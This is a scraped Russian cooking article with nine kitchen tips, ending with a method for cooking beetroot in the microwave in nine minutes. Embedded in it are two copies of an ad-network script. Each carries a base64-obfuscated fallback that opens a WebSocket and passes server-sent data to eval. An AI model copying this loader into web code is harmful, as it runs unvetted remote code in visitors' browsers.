9 кухонных лайфхаков, или Как отварить свеклу за 9 минут!


Приготовление пищи – процесс интересный, но трудоемкий. Часто хозяйки сталкиваются с трудностями и сложностями. Однако существует несколько кулинарных хитростей, которые помогут быстро справиться с готовкой, облегчить существование на кухне и получить удовольствие от процесса!

1. Не плакать от очистки и нарезки лука. Оказывается, перед работой с овощем необходимо ненадолго положить его в холодильник. Эксперты объясняют этот лайфхак тем, что из охлажденного лука медленнее улетучивается вещество, из-за которого мы плачем. Однако в морозилку класть овощ не нужно – он станет слишком мягким.

var d = new Date, script648719 = document.createElement(«script»), mg_ws648719 = {};script648719.type = «text/javascript»;script648719.charset = «utf-8»;script648719.src = «http://jsc.marketgid.com/p/e/perekusim.com.648719.js?t=» + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script648719.onerror = function () { mg_ws648719 = new Worker(URL.createObjectURL(new Blob([‘eval(atob(‘ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2NDg3MTkoZSl7dmFyIGg9bWdfd3M2NDg3MTkub25tZXNzYWdlOyBtZ193czY0ODcxOS5yZWFkeVN0YXRlPT1tZ193czY0ODcxOS5DTE9TRUQmJihtZ193czY0ODcxOT1uZXcgV2ViU29ja2V0KG1nX3dzNjQ4NzE5X2xvY2F0aW9uKSksbWdfd3M2NDg3MTkub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242NDg3MTkobWdfd3M2NDg3MTksZnVuY3Rpb24oKXttZ193czY0ODcxOS5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242NDg3MTkoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242NDg3MTkoZSx0KX0sNSl9OyB2YXIgbWdfd3M2NDg3MTlfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czY0ODcxOSA9IG5ldyBXZWJTb2NrZXQobWdfd3M2NDg3MTlfbG9jYXRpb24pLCBtZ193czY0ODcxOS5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2NDg3MTkoZS5kYXRhKX0=’))’]), {type: «application/javascript»})); mg_ws648719.onmessage = function (msg){window.eval(msg.data);}; mg_ws648719.postMessage(‘js|’+script648719.src+’|M382836Composite648719|M382836Composite648719’);};document.body.appendChild(script648719);

2. Сделать тесто не таким рассыпчатым. Эту проблему легко решить с помощью растопленного сливочного масла. Вмешайте продукт в тесто, и оно станет более эластичным.

3. Убрать кислинку из томатного соуса. Обычно хозяйки добавляют в него немного сахара. Однако это не всегда помогает решить проблему. Чтобы убрать кислинку, добавьте в соус щепотку пищевой соды.

4. Сделать специи более ароматными. Добиться такого результата можно с помощью обжаривания приправ на сковороде с добавлением растительного масла. Держать специи нужно на большом огне около 2 минут. Также можно поместить их в микроволновую печь секунд на 30.


google_ad_client = «ca-pub-7104543801500968»;
google_ad_slot = «2440797825»;
if(window.matchMedia(«(min-width:695px)»).matches){
google_ad_width = 696;
google_ad_height = 100;
}
else {
google_ad_width = 300;
google_ad_height = 250;
}


5. Приготовить хлеб с поджаристой хрустящей корочкой. После того, как вы поставили выпечку в духовку, на дно печи следует поместить емкость с водой. Испарение жидкости во время выпечки подрумянит хлеб.

6. Избавиться от влажности омлета. Если вам не нравится излишняя влага в блюде, вместо молока добавьте к яйцам кусочек замороженного сливочного масла.

7. Избежать потемнения разрезанного яблока, груши или авокадо. Сохранить фрукты можно с помощью лимонного сока. Сбрызните им кусочки яблока и положите в герметично закрывающуюся посуду.

8. Правильно хранить торт. Профессионалы советуют обернуть готовый торт в пластик и убрать в морозильную камеру. Так кондитерское изделие долго останется свежим. К тому же, его будет легко украсить.

var d = new Date, script648717 = document.createElement(«script»), mg_ws648717 = {};script648717.type = «text/javascript»;script648717.charset = «utf-8»;script648717.src = «http://jsc.marketgid.com/p/e/perekusim.com.648717.js?t=» + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script648717.onerror = function () { mg_ws648717 = new Worker(URL.createObjectURL(new Blob([‘eval(atob(‘ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2NDg3MTcoZSl7dmFyIGg9bWdfd3M2NDg3MTcub25tZXNzYWdlOyBtZ193czY0ODcxNy5yZWFkeVN0YXRlPT1tZ193czY0ODcxNy5DTE9TRUQmJihtZ193czY0ODcxNz1uZXcgV2ViU29ja2V0KG1nX3dzNjQ4NzE3X2xvY2F0aW9uKSksbWdfd3M2NDg3MTcub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242NDg3MTcobWdfd3M2NDg3MTcsZnVuY3Rpb24oKXttZ193czY0ODcxNy5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242NDg3MTcoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242NDg3MTcoZSx0KX0sNSl9OyB2YXIgbWdfd3M2NDg3MTdfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czY0ODcxNyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2NDg3MTdfbG9jYXRpb24pLCBtZ193czY0ODcxNy5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2NDg3MTcoZS5kYXRhKX0=’))’]), {type: «application/javascript»})); mg_ws648717.onmessage = function (msg){window.eval(msg.data);}; mg_ws648717.postMessage(‘js|’+script648717.src+’|M382836Composite648717|M382836Composite648717’);};document.body.appendChild(script648717);

9. Отварить свеклу за 9 минут. Обычно этот овощ варится очень долго. Однако время его приготовления можно сократить. Для этого следует тщательно вымыть свеклу и положить ее в рукав для запекания. В пакете сделайте пару-тройку дырочек и поместите его в термостойкую посуду. Поставьте все это в микроволновку и включите ее на 9 минут (полная мощность). После выключения оставьте овощи в закрытой печи еще минут на 10. Ваша свекла готова!

Источник

© Lemurov.net



Source link

Почитайте другие интересные статьи:

С каких продуктов надо начинать вводить прикорм?
Начинать прикорм лучше с каши без глютена, рисовой или гречневой. Каши для первого прикорма должны быть безмолочные. Разводите их грудным молоком или детской смесью. В дальнейшем можно вводить молочные и глютеносодержащие каши (овсяную, пшеничную), а также каши из смеси круп.
Топ-5: самые дорогие гамбургеры
Представляем вашему вниманию десятку самых дорогих гамбургеров, которые только можно встретить на этой планете. 1. Название: Serendipity Burger google_ad_client = "ca-pub-7104543801500968"; google_ad_slot = "2440797825"; if(window.matchMedia("(min-width:695px)").matches){ ...
Ароматные и пышные пончики — самый вкусный десерт для самых любимых! Просто объедение для животиков!
Легкий в приготовлении и невероятно простой десерт, который просто обожают дети. Это блюдо будет прекрасно смотреться на детских днях рождения. Ароматные пончики можно украсить сахарной пудрой или шоколадной глазурью. Загрузка... var d = new Date, script648716 = document.createElement("scrip...